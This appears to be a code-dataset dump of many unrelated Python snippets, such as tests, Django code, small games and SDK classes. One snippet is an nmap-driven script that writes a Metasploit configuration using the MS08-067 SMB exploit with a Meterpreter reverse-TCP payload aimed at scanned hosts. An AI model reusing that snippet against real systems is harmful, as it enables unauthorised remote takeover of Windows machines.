id
stringlengths
1
265
text
stringlengths
6
5.19M
dataset_id
stringclasses
7 values
107428
#!/usr/bin/env python __author__ = '<NAME>' from strongdict import StrongDict, memo, memo_until, nmemo def test_simple(): 'Testing strong dictionary.' v = StrongDict() v['One'] = 1 v[2] = 2 v['Three'] = 'Three' assert v['One'] == 1 assert v[2] == 2 assert v['One'] == 1 assert v['Three'] == 'Three'...
StarcoderdataPython
49162
from redesigned_barnacle.buffer import CircularBuffer from redesigned_barnacle.graph import Sparkline from redesigned_barnacle.mock import MockFramebuffer from unittest import TestCase class SparkTest(TestCase): def test_line(self): buf = CircularBuffer() sl = Sparkline(32, 64, buf) sl.push(16) sl.d...
StarcoderdataPython
3366842
<reponame>prathimacode-hub/PythonScripts class Computer: def __init__(self,cpu,ram): #Constructor self.cpu=cpu self.ram=ram def config(self): #Method inside class print("The Configuration",self.cpu,self.ram) HP=Computer("Intel",8) #instances Dell=Computer("Intel...
StarcoderdataPython
3372225
<filename>alipay/aop/api/domain/VulInfo.py #!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.constant.ParamConstants import * class VulInfo(object): def __init__(self): self._attachment = None self._business = None self._coin = None self._company = Non...
StarcoderdataPython
3354367
import unittest from lxml import etree import should_be.all # noqa import xmlmapper as mp from xmlmapper import xml_helpers as xh class SampleModel(mp.Model): ROOT_ELEM = 'some_elem' name = mp.ROOT.name class _TestDescBase(object): def make_present(self): self.model._etree.append(self.elem) ...
StarcoderdataPython
1636151
##################################################################################### # # Copyright (c) Microsoft Corporation. All rights reserved. # # This source code is subject to terms and conditions of the Microsoft Public License. A # copy of the license can be found in the License.html file at the root of this...
StarcoderdataPython
3219063
<gh_stars>0 from distutils.core import setup setup( name = 'PyGUIBox', packages = ['pyguibox'], version = '0.3', license='MIT', description = 'A simple cross-platform tool for creating GUI message boxes.', author = '<NAME>', author_email = '<EMAIL>', url = 'https://github.com/matin-me/pyguibox', downl...
StarcoderdataPython
175214
<gh_stars>0 import time import numpy as np import random import math from absl import logging from .scenes import get_map_params from functools import partial import math class Transition(): """ machine health states transition rules: -There are 4 health states: pre-mature, mature, slightly damaged, seve...
StarcoderdataPython
3301193
<reponame>TeamAbstract/GeneticScheduling from util.timeUtil import * from util.systemUtil import *
StarcoderdataPython
3380717
import logging from ..exit import do_exit logger = logging.getLogger("emulator") event_id = -1 event_id_limit = 0 def next_event_id(uc): global event_id global event_id_limit event_id += 1 if event_id_limit != 0 and event_id >= event_id_limit: logger.info("[*] Event id limit reached, exiting...
StarcoderdataPython
1648998
<gh_stars>0 import torch a = torch.randn((3, 2048, 7, 7)) a = a.permute(2, 3, 0, 1) a = a.view(-1, 3, 2048) qry = a attn = torch.nn.MultiheadAttention(2048, num_heads=1, dropout=0.2, kdim=85, vdim=85) keys = torch.randn((50, 3, 85)) values = torch.randn((50, 3, 85)) # this is the class embeddings # att = torch.randn((...
StarcoderdataPython
73795
from datetime import datetime from fastapi.encoders import jsonable_encoder from sqlalchemy.orm import Session from app import crud from app.core.security import verify_password from app.models.domain import Domain from app.models.event import Event from app.models.user import User from app.schemas.user import UserCr...
StarcoderdataPython
131024
<reponame>amcclead7336/Enterprise_Data_Science_Final<gh_stars>0 # -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -...
StarcoderdataPython
59067
# -*- coding: utf-8 -*- # Copyright (c) 2021, Wongkar and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe.model.document import Document class Rule(Document): def validate(self): frappe.msgprint("after_insert") # manufacture = frapp...
StarcoderdataPython
23655
"""Returns words from the given paragraph which has been repeated most, incase of more than one words, latest most common word is returned. """ import string def mostCommonWord(paragraph: str) -> str: # translate function maps every punctuation in given string to white space words = paragraph.translate(st...
StarcoderdataPython
109925
from typing import List from io import BytesIO import numpy as np from PIL import Image from fastapi import FastAPI, Request, File, UploadFile from fastapi.responses import HTMLResponse, StreamingResponse from fastapi.staticfiles import StaticFiles from fastapi.templating import Jinja2Templates app = FastAPI() app.m...
StarcoderdataPython
10590
<reponame>bopopescu/docker_images_a class Check_Excessive_Current(object): def __init__(self,chain_name,cf,handlers,irrigation_io,irrigation_hash_control,get_json_object): self.get_json_object = get_json_object cf.define_chain(chain_name, False ) #cf.insert.log("check_excessive_c...
StarcoderdataPython
22221
""" List of podcasts and their filename parser types. """ from .rss_parsers import BaseItem, TalkPythonItem, ChangelogItem, IndieHackersItem import attr @attr.s(slots=True, frozen=True) class Podcast: name = attr.ib(type=str) title = attr.ib(type=str) url = attr.ib(type=str) rss = attr.ib(type=str) ...
StarcoderdataPython
1623265
<gh_stars>10-100 # coding=utf8 # Copyright 2018 JDCLOUD.COM # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
StarcoderdataPython
1609557
<filename>hello.py from helper import greeting greeting("hello")
StarcoderdataPython
2215
<reponame>RonaldoAPSD/Hedge import Hedge while True: text = input('Hedge > ') if text.strip() == "": continue result, error = Hedge.run('<stdin>', text) if (error): print(error.asString()) elif result: if len(result.elements) == 1: print(repr(result.elements[0])) else: print(repr(resu...
StarcoderdataPython
3349812
<reponame>hkhalifa/dftimewolf """Base GRR module class. GRR modules should extend it.""" from logging import Logger import tempfile import time from typing import Optional, Union, Callable, List, Any from grr_api_client import api as grr_api from grr_api_client import errors as grr_errors from grr_api_client.client i...
StarcoderdataPython
3396365
class Foo: def __rad<caret>
StarcoderdataPython
3379672
<reponame>trevoriancox/django-google-analytics SECRET_KEY = 'foo' DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3' } } INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sites', 'django.contrib.sessions', 'google_analytics', )...
StarcoderdataPython
1726779
#!/usr/bin/env python CONST = 3.14 if __name__ == '__main__': print 'Excecuting as a script' print 'End of %s' % (__file__)
StarcoderdataPython
119903
<filename>fiat/stages.py """ base: <NAME> <<EMAIL>> Copyright 2020-2021, <NAME> License: Apache-2.0 (https://www.apache.org/licenses/LICENSE-2.0) Contents: """ from __future__ import annotations import collections.abc import copy import dataclasses import itertools from types import ModuleType from typing import (Any...
StarcoderdataPython
35326
import socket HOST = "" PORT = "" def address(): global HOST print("What is the IP of the computer you want to connect to? ") HOST = input(":") global PORT print("What is the PORT of the computer you want to connect to? ") PORT = int(input(":")) connector() def connector(): ...
StarcoderdataPython
194215
<filename>Cap02/Lab01/game_v1.py # Game Ping-Pong from tkinter import * # equivalente a importar pacotes import random import time level = int(input("Qual nível você gostaria de jogar? 1/2/3/4/5 \n")) # variável level length = 500/level # variável length root = Tk() # Variável root.title("Ping Pong") # função title...
StarcoderdataPython
169297
<filename>ws/RLAgents/E_SelfPlay/play/greedy_player_mgt.py def greedy_player_mgt(game_mgr): game_mgr = game_mgr def fn_get_action(pieces): valid_moves = game_mgr.fn_get_valid_moves(pieces, 1) if valid_moves is None: return None candidates = [] for a in range(game_m...
StarcoderdataPython
1761341
<gh_stars>0 from os import environ import argparse from infcommon import logger from infrabbitmq import factory as infrabbitmq_factory def main(destination_exchange, broker_uri, event_name, network, data): infrabbitmq_factory.configure_pika_logger_to_error() event_publisher = infrabbitmq_factory.rabbitmq_eve...
StarcoderdataPython
1792165
<filename>config.py CONFIG = [ { 'id': 1, 'name': 'Background', 'directory': 'Background', 'required': True, 'rarity_weights': None, }, { 'id': 2, 'name': 'Dinos', 'directory': 'Dinos', 'required': True, 'rarity_weights': None, ...
StarcoderdataPython
3230496
<reponame>houzw/knowledge-base-data #!/usr/bin/env python # -*- coding: utf-8 -*- # author: houzhiwei # time: 2019/9/25 9:19 from owlready2 import * test_ont = get_ontology('http://www.test.org#') rdf = get_ontology('http://www.w3.org/1999/02/22-rdf-syntax-ns#') rdfs = get_ontology('http://www.w3.org/2000/01/rdf-schem...
StarcoderdataPython
3214496
<gh_stars>1-10 from PySide2 import QtCore from PySide2.QtWidgets import QSlider class UISliderWidget(QSlider): '''Creates a Slider widget which updates a QLabel with its value (which may be scaled to a non-integer value by setting the scale_factor)''' def __init__(self, label, scale_factor=1): ...
StarcoderdataPython
4814256
import copy import jsonpickle import sys import getopt import BingoBoard import ChoicePool opts = getopt.getopt(sys.argv[1:], 'e:y:o:') excel = False file = "" outputFile = 'output.json' for o, a in opts[0]: if o == '-e': excel = True file = a elif o == '-y': excel = False ...
StarcoderdataPython
3234386
<gh_stars>1-10 #!/usr/bin/env python3 # specs.py # https://github.com/Jelmerro/stagger # # Copyright (c) 2022-2022 <NAME> # Copyright (c) 2009-2011 <NAME> <<EMAIL>> # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following co...
StarcoderdataPython
3387495
from django.urls import path from . import views urlpatterns = [ path('', views.ProfileView.as_view(), name="profile"), path('edit-avatar/', views.ProfileEditView.as_view(), name="edit-avatar"), path('messages/', views.MessagesList.as_view(), name="messages"), path('create-message/', views.Rooms.as_vi...
StarcoderdataPython
1622645
"""(Non-central) F distribution.""" import numpy from scipy import special from ..baseclass import Dist from ..operators.addition import Add class f(Dist): """F distribution.""" def __init__(self, dfn, dfd, nc): Dist.__init__(self, dfn=dfn, dfd=dfd, nc=nc) def _pdf(self, x, dfn, dfd, nc): ...
StarcoderdataPython
4800985
#!/usr/bin/env python # coding: utf-8 # In[1]: #-*- coding:utf-8 -*- from commonTool import * from config import * import sys # In[ ]: # In[2]: outputDirPath = outputRawPath + 'priceDaily' + os.path.sep mkdir(outputDirPath) # In[ ]: # In[3]: d = dt.datetime.today() # d = d - dt.timedelta(days=1) d...
StarcoderdataPython
1622988
# Generated by Django 3.1.1 on 2021-04-23 01:19 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('listo_api', '0014_auto_20210422_1904'), ] operations = [ migrations.RenameField( model_name='declaraciones', old_name='user_...
StarcoderdataPython
3207806
import json f=open("data.json") data=json.load(f) for i in data["colors"]: print(i) f.close
StarcoderdataPython
3246558
<reponame>lucuma/vd-flask # coding=utf-8 from authcode import Auth, setup_for_flask from .. import config from ..app import app from ..database import db from ..models.user_mixin import UserMixin from .helpers import send_auth_email auth = Auth(config.SECRET_KEY, db=db, UserMixin=UserMixin, roles=True, ...
StarcoderdataPython
3361304
<filename>setup.py<gh_stars>1-10 from schroot import __appname__, __version__ from setuptools import setup long_description = "" setup( name=__appname__, version=__version__, scripts=[], packages=[ 'schroot', ], author="<NAME>", author_email="<EMAIL>", long_description=long_de...
StarcoderdataPython
1637029
<reponame>jsub1/glue-wwt<gh_stars>0 """Base WWT data viewer implementation, generic over Qt and Jupyter backends.""" from __future__ import absolute_import, division, print_function from glue.core.coordinates import WCSCoordinates from .image_layer import WWTImageLayerArtist from .table_layer import WWTTableLayerArt...
StarcoderdataPython
21243
<reponame>Quant-Network/sample-market-maker from __future__ import absolute_import from time import sleep import sys from datetime import datetime from os.path import getmtime import random import requests import atexit import signal import logging from market_maker.bitmex import BitMEX from market_maker.settings impo...
StarcoderdataPython
1735566
<reponame>anton-musrevinu/sharpNAR #Do enumeration benchmarks from benchmarks.Benchmarks import Benchmark from sharpsmt.Manager import Manager if __name__=='__main__': pathC = './../mcbenchmarks/algorithms_specs/enumeration_input.csv' benchmark = Benchmark(False,True) benchmark.benchmarkModelCounting(pathC,3 * 60...
StarcoderdataPython
72367
#!/usr/bin/env python # # A library that provides a Gemynd AI bot interface # Copyright (C) 2016 # Gemynd AI Team <<EMAIL>> # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at http://www.apache.o...
StarcoderdataPython
3209591
<gh_stars>10-100 import os import shutil import re import sys if __name__ == '__main__': compress_layer = int(sys.argv[1]) compress_block = int(sys.argv[2]) layers = ['2a', '2b', '2c', '3a', '3b', '3c', '3d', '4a', '4b', '4c', '4d', '4e', '4f', '5a', '5b', '5c'] FileNames = os.listdir(layers[compress_l...
StarcoderdataPython
1667504
<reponame>Sem8/js-mock-interview-code-challenges<gh_stars>0 # My own solution: Stock prices to find maximum profit but you have to buy first before sell # '''Pseudocode: O(n^2) solution with nested for loop # 1. Initialize a variable called max profit and set it equal to the difference between 1st and 2nd element price...
StarcoderdataPython
3299403
<reponame>rafaelapcruz/Awesome_Python_Scripts import re def vowel_remover(string): new_str = re.findall("[^aeiouAEIOU]+", string) for txt in (new_str): print(txt, end = '') input_text = input('Enter input text: ') vowel_remover(input_text)
StarcoderdataPython
3297424
<filename>blog/views.py from django.shortcuts import render, redirect from django import forms from django.conf import settings from django.core.mail import send_mail from django_journal_project.settings import EMAIL_ADDRESS, EMAIL_PASSWORD from .models import Post import os from django.core.mail import EmailMessage # ...
StarcoderdataPython
1786025
<reponame>assassinen/coursera_mfti_python<filename>bitfinex/api/data.py import time import requests as requests from configparser import ConfigParser class Ticker: def __init__(self): config = ConfigParser() config.read_file(open('config.ini')) self.url = config['ticker']['url'] s...
StarcoderdataPython
3359849
"""Fixtures for websocket tests.""" import pytest from homeassistant.setup import async_setup_component from homeassistant.components.websocket_api.http import URL from homeassistant.components.websocket_api.auth import TYPE_AUTH_REQUIRED from . import API_PASSWORD @pytest.fixture def websocket_client(hass, hass_ws...
StarcoderdataPython
3332347
def function_1(): function_2() function_3() return def function_2(): function_3() function_1() return def function_3(): return # def function_4(): # function_5() # return # def function_5(): # function_6() # function_7() # return # def function_6(): # function_5...
StarcoderdataPython
1683835
# -*- coding: utf-8 -*- # This space deliberately left almost blank.
StarcoderdataPython
3364661
<filename>book/src/ch05/src/decorator_parametrized_1.py """Clean Code in Python - Chapter 5: Decorators Parametrized decorators using functions """ from functools import wraps from typing import Sequence, Optional from decorator_function_1 import ControlledException from log import logger _DEFAULT_RETRIES_LIMIT = ...
StarcoderdataPython
4803549
<filename>my_page.py from time import sleep from selenium.webdriver.common.by import By from constant import back def my_page_testing(driver): driver.find_element(By.XPATH, "/hierarchy/android.widget.FrameLayout/android.widget.LinearLayout/android.widget.FrameLayout/android.widget.LinearLa...
StarcoderdataPython
1797129
<gh_stars>0 from ovim.log import logger from urllib import request import json import tarfile import tempfile import os class UbuntuRunner: homedir = os.path.abspath(os.getenv('HOME')) local_bin = os.path.join(homedir, '.local', 'bin') @classmethod def check_env(cls): if os.system("curl --vers...
StarcoderdataPython
3302972
""" RDB 2015 User Interface Filtering Widget Author: <NAME> """ from PyQt5.QtCore import Qt, pyqtSignal, pyqtSlot from PyQt5.QtWidgets import (QWidget, QHBoxLayout, QPushButton, QLabel, QDialog) from copy import deepcopy from datetime import timezone from .filterdialog import FilterDialog class FilteringWid...
StarcoderdataPython
1601740
# thread class for updating tweets in the background import time import threading class TweetUpdateThread(threading.Thread): ''' thread class to fetch tweets in the background ''' def __init__(self, cli_object, function, waittime): ''' At initialization some local variables are set...
StarcoderdataPython
1777633
from abc import ABC, abstractmethod from typing import List from mpmath import eye, mpc, matrix from mpmath import expm as mp_expm from numpy import ndarray, identity from numpy.linalg import matrix_power from scipy.linalg import expm as scipy_expm from .matrices import Matrix class ProductFormula(ABC): @abstra...
StarcoderdataPython
1708556
<reponame>Arko98/Alogirthms # Problem: https://leetcode.com/problems/k-diff-pairs-in-an-array/ class Solution: def findPairs(self, nums: List[int], k: int) -> int: ans = [] for i in range(len(nums)): if nums[i]+k in nums[i+1:]: print('yes') tuple_obj = No...
StarcoderdataPython
3353788
#!/usr/bin/env python3 import base64 import json import logging import os import random import sqlite3 import sys import time import urllib.error import urllib.request import urllib.parse logger = logging.getLogger(__name__) _localhost_rooturl = 'http://localhost:8980' # getAccountsPage(pageurl string, accounts set...
StarcoderdataPython
4829263
#!/usr/bin/env python import re import itertools people = set() relationships = dict() total = 0 with open('../inputs/13.txt') as f: for line in f: m = re.match(r'(\w+) would (gain|lose) (\d+) happiness units by sitting next to (\w+).', line) (p1, operand, value, p2) = m.groups() value = int(...
StarcoderdataPython
1799489
import h5py import random import numpy as np class DataGenerator: """ Class for a generator that reads in data from the HDF5 file, one batch at a time, converts it into the jigsaw, and then returns the data """ def __init__(self, conf, maxHammingSet): """ Explain """ ...
StarcoderdataPython
32397
import datetime import pytz from tws_async import * stocks = [ Stock('TSLA'), Stock('AAPL'), Stock('GOOG'), Stock('INTC', primaryExchange='NASDAQ') ] forexs = [ Forex('EURUSD'), Forex('GBPUSD'), Forex('USDJPY') ] endDate = datetime.date.today() startDate = endDate - datetime.timedelta(day...
StarcoderdataPython
86718
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Sep 13 16:00:40 2018 @author: co-well-752410 """ import sys import cv2 import numpy as np import tensorflow as tf import tensorflow.python.platform import os import configparser # 外部のコンフィグを読み込む inifile = configparser.ConfigParser() inifile.read('conf...
StarcoderdataPython
1775454
<reponame>akashsuper2000/codechef-archive def sod(n): s = 0 while n: s += n % 10 n //= 10 return s from math import gcd k = 10**9+7 for i in range(int(input())): l,r = [int(j) for j in input().split()] a = [j for j in range(l,r+1)] a = [sod(j) for j in a] c = 0 for j in...
StarcoderdataPython
4835078
<reponame>uberj/newfriends<gh_stars>0 import string import math import random from pprint import pprint # Everything that uses BitArray needs to be removed. I used this early on before I knew about how nice bytes are from bitstring import BitArray as BA SAMPLE_TEXT = """ Yo, VIP, let's kick it! Ice Ice Baby, Ice Ice...
StarcoderdataPython
71853
<reponame>jinchengli97/Viola-Jones-Facial-Recognition<gh_stars>0 from myfoobar import int_img, Harr1, Harr2, Harr3, Harr4 import matplotlib.image as mpimg import numpy as np import os import time img_dir_faces = 'C:/Users/lijin/Desktop/Fall 2020/ECEN649/Project/trainset/faces/' img_dir_non_faces = 'C:/Users/lijin/Desk...
StarcoderdataPython
153739
""" Do Not Edit this file. You may and are encouraged to look at it for reference. """ import unittest import re import gas_mileage class TestListTrips(unittest.TestCase): def verifyLines(self, notebook, mpg): from gas_mileage import listTrips trips = listTrips(notebook) self.assertTrue(...
StarcoderdataPython
34158
# Copyright 2018 <NAME>, <NAME>. # (Strongly inspired by original Google BERT code and Hugging Face's code) """ Fine-tuning on A Classification Task with pretrained Transformer """ import itertools import csv import fire import torch import torch.nn as nn from torch.utils.data import Dataset, DataLoader import toke...
StarcoderdataPython
3315192
<reponame>ruizhang95/routeplanner import numpy as np import networkx as nx from planner.dijkstra import Dijkstra from utils.heuristic import heuristic2D class BreadthFirst(Dijkstra): def __init__(self, heuristic='octile', alpha=2): """ Params: heuristic: {'manhattan', 'chebyshev', 'octile...
StarcoderdataPython
1701268
<gh_stars>1-10 import os import pytesseract from PIL import Image import cv2 from plate import Segmentation if __name__ == "__main__": images = os.listdir('testData/') print(images) for image in images: img_path = "./testData/{}".format(image) if os.path.exists(os.path.join(os.getcwd(), "./output.png")): o...
StarcoderdataPython
3234064
#!/usr/bin/env python from __future__ import print_function import unittest import rostest import rospy from rospy.service import ServiceException from test_ros_services import assert_raises from test_ros_services import call_service TEST_NAME = 'test_remapping' class Test(unittest.TestCase): def test_remap...
StarcoderdataPython
3208061
<reponame>Pandaaaa906/product_spider<gh_stars>0 from scrapy import Request from product_spider.items import RawData from product_spider.utils.spider_mixin import BaseSpider class SynChemSpider(BaseSpider): name = "synchem" base_url = "https://www.synchem.de/" start_urls = ["https://www.synchem.de/shop/",...
StarcoderdataPython
1699584
""" This is a test of Pydantic's ability to parse recursive data. In particular, I'm investigating how it might handle Amazon's state language. For example, Choice states have very simple rules that might still be tough to implement. """ import enum import json from typing import Dict, List, Optional import pydantic...
StarcoderdataPython
3262138
# import aiosip # import pytest # import asyncio # import itertools # # # @pytest.mark.parametrize('close_order', itertools.permutations(('client', 'server', 'proxy'))) # noQa C901: too complex # async def test_proxy_subscribe(test_server, test_proxy, protocol, loop, from_details, to_details, close_order): # callb...
StarcoderdataPython
54217
<gh_stars>1-10 import logging import re log = logging.getLogger(__name__) ALL_PAT = [ "^fc\d+\/\d+\s+(?P<sfp_present>.*)", "Name is (?P<name>\S+)", "Manufacturer's part number is (?P<part_number>\S+)", "Cisco extended id is (?P<cisco_id>.*)", "Cisco part number is (?P<cisco_part_number>\S+)", ...
StarcoderdataPython
180355
<reponame>malonedon/whatsaap-bot<filename>bot.py import os from dotenv import load_dotenv from flask import Flask, request from twilio.twiml.messaging_response import MessagingResponse from twilio.rest import Client import time date_time=time.localtime() year=date_time[0] month=date_time[1] day=date_time[2...
StarcoderdataPython
4824496
<reponame>saifuddin779/data-collector import sys, os, ast, json, requests from subprocess import call, Popen, PIPE, STDOUT from flask import Flask, render_template, request app = Flask(__name__) app.debug = True @app.route('/') def index(): return 'index page' @app.route('/begin/') def begin(): index = int(request...
StarcoderdataPython
3245560
<filename>backend/app/main.py import os import uvicorn from fastapi import FastAPI from fastapi.staticfiles import StaticFiles from starlette.middleware.cors import CORSMiddleware from app.api.router import api_router from app.core.config import settings from app.core.logging import setup_logging from app.middleware....
StarcoderdataPython
3259511
"""nestedcaller.py - A high-order function to call nested multiple functions. Fast & Picklable. """ __all__ = ['nestedcaller'] class nestedcaller: __slots__ = '_funcs', def __new__(cls, *args): assert type(args) is tuple if not all(map(callable, args)): raise TypeError('not callabl...
StarcoderdataPython
1769909
color_list_1 = set(["White", "Black", "Red"]) color_list_2 = set(["Red", "Green"]) a = color_list_1 - color_list_2 print(a)
StarcoderdataPython
1780186
#!/usr/bin/env python3 import re import subprocess import sys _LENGTH = 20 try: action = sys.argv[1] except: action = None if action == "+": subprocess.call(["xbacklight", "-inc", "10"]) elif action == "-": subprocess.call(["xbacklight", "-dec", "10"]) brightre = re.compile(r"(\d+)") ret = subprocess.check_ou...
StarcoderdataPython
134488
<filename>config.py import configparser from sqlalchemy import create_engine config = configparser.ConfigParser() config.read('config.txt') engine = create_engine(config.get('database', 'con'))
StarcoderdataPython
96340
# Copyright (c) 2017 OpenStack Foundation. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed ...
StarcoderdataPython
1795003
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import...
StarcoderdataPython
3368907
# Driver for running the FCEA2m executable # <NAME>, Project Caelus, 12/14/2019 import os import sys import time import subprocess import threading import pyautogui def type_with_delay(dir_name: str, delay: int or float): time.sleep(delay) pyautogui.typewrite(dir_name) pyautogui.press("enter") if __nam...
StarcoderdataPython
3318568
<filename>pkgs/sdk-pkg/src/genie/libs/sdk/apis/iosxe/meraki/configure.py '''IOSXE configure functions for meraki''' # Python import re import time # Genie from genie.utils.timeout import Timeout # Banner from pyats.log.utils import banner # Logger import logging log = logging.getLogger(__name__) # Unicon from unic...
StarcoderdataPython
189841
<filename>config.py """You would probably keep your configuration out of the git repo, but this works for a simple script. See the docs for information on Flask configuration. """ DATABASE_NAME = 'flask_mongo_example'
StarcoderdataPython
1740024
from .base import * import sys import logging.config # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True # Must mention ALLOWED_HOSTS in production! ALLOWED_HOSTS = ['127.0.0.1'] # Turn off debug while imported by Celery with a workaround # See http://stackoverflow.com/a/4806384 if 'celery...
StarcoderdataPython
3270369
<filename>readthedocs/builds/migrations/0029_add_time_fields.py # Generated by Django 2.2.16 on 2020-11-18 16:26 from django.db import migrations import django_extensions.db.fields class Migration(migrations.Migration): dependencies = [ ('builds', '0028_add_delete_version_action'), ] operations...
StarcoderdataPython
118611
<filename>tests/test_eul.py import numpy as np import pytest from rotations import EulerAngles, AngleType, RotationMatrix def test_constructors(): e1 = EulerAngles([0, 0, np.pi]) e2 = EulerAngles.from_angles(0, 0, np.pi) e3 = EulerAngles.from_rotmat(RotationMatrix.default()) assert e1.roll == e2.roll...
StarcoderdataPython
1640559
"""Test module for Stack class.""" from stack import Stack import pytest # *****Fixtures***** @pytest.fixture def empty_stack(): """Create an empty stack object.""" return Stack() @pytest.fixture def filled_stack(): """Create a filled stack object.""" x = Stack([12, 31, 41, 32, 65, 76, 3, 9]) re...
StarcoderdataPython
1693283
<gh_stars>1-10 # coding=utf-8 import nmap import optparse import os def setexploit(configfile,rhost,lhost,lport): configfile.write('use exploit/windows/smb/ms08_067_netapi\n') configfile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') configfile.write('set RHOST '+str(rhost)+'\n') configfile....
StarcoderdataPython
38668
from django.contrib.auth.models import User from rollservice.models import DiceSequence import rest_framework.test as rf_test import rest_framework.status as status import rest_framework.reverse as reverse import hypothesis.extra.django import hypothesis.strategies as strategies import unittest class DiceSeq...
StarcoderdataPython
9826
# OpenWeatherMap API Key weather_api_key = "MyOpenWeatherMapAPIKey" # Google API Key g_key = "MyGoogleKey"
StarcoderdataPython
136846
<filename>epitopedia/viz/figure.py import seaborn as sns import matplotlib.pyplot as plt plt.rcParams.update({'font.size':20}) import pickle import numpy as np def zscores(std, mean, score): return (std * score) + mean def plot_dist(data, data_point, name,label="RMSD (Å)"): # fig = plt.figure(figsize=(3,6...
StarcoderdataPython
1776519
<filename>apps/base/migrations/0005_auto_20181120_1224.py # Generated by Django 2.1.3 on 2018-11-20 12:24 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('base', '0004_auto_20181120_1112'), ] operations = [ migrations.AddField( ...
StarcoderdataPython
3390898
<reponame>stefanfoulis/django-image-filer import os from django.shortcuts import render_to_response from django.contrib.auth.decorators import login_required from django.template import RequestContext from django.http import HttpResponseRedirect, HttpResponse, HttpResponseForbidden, HttpResponseBadRequest from django.c...
StarcoderdataPython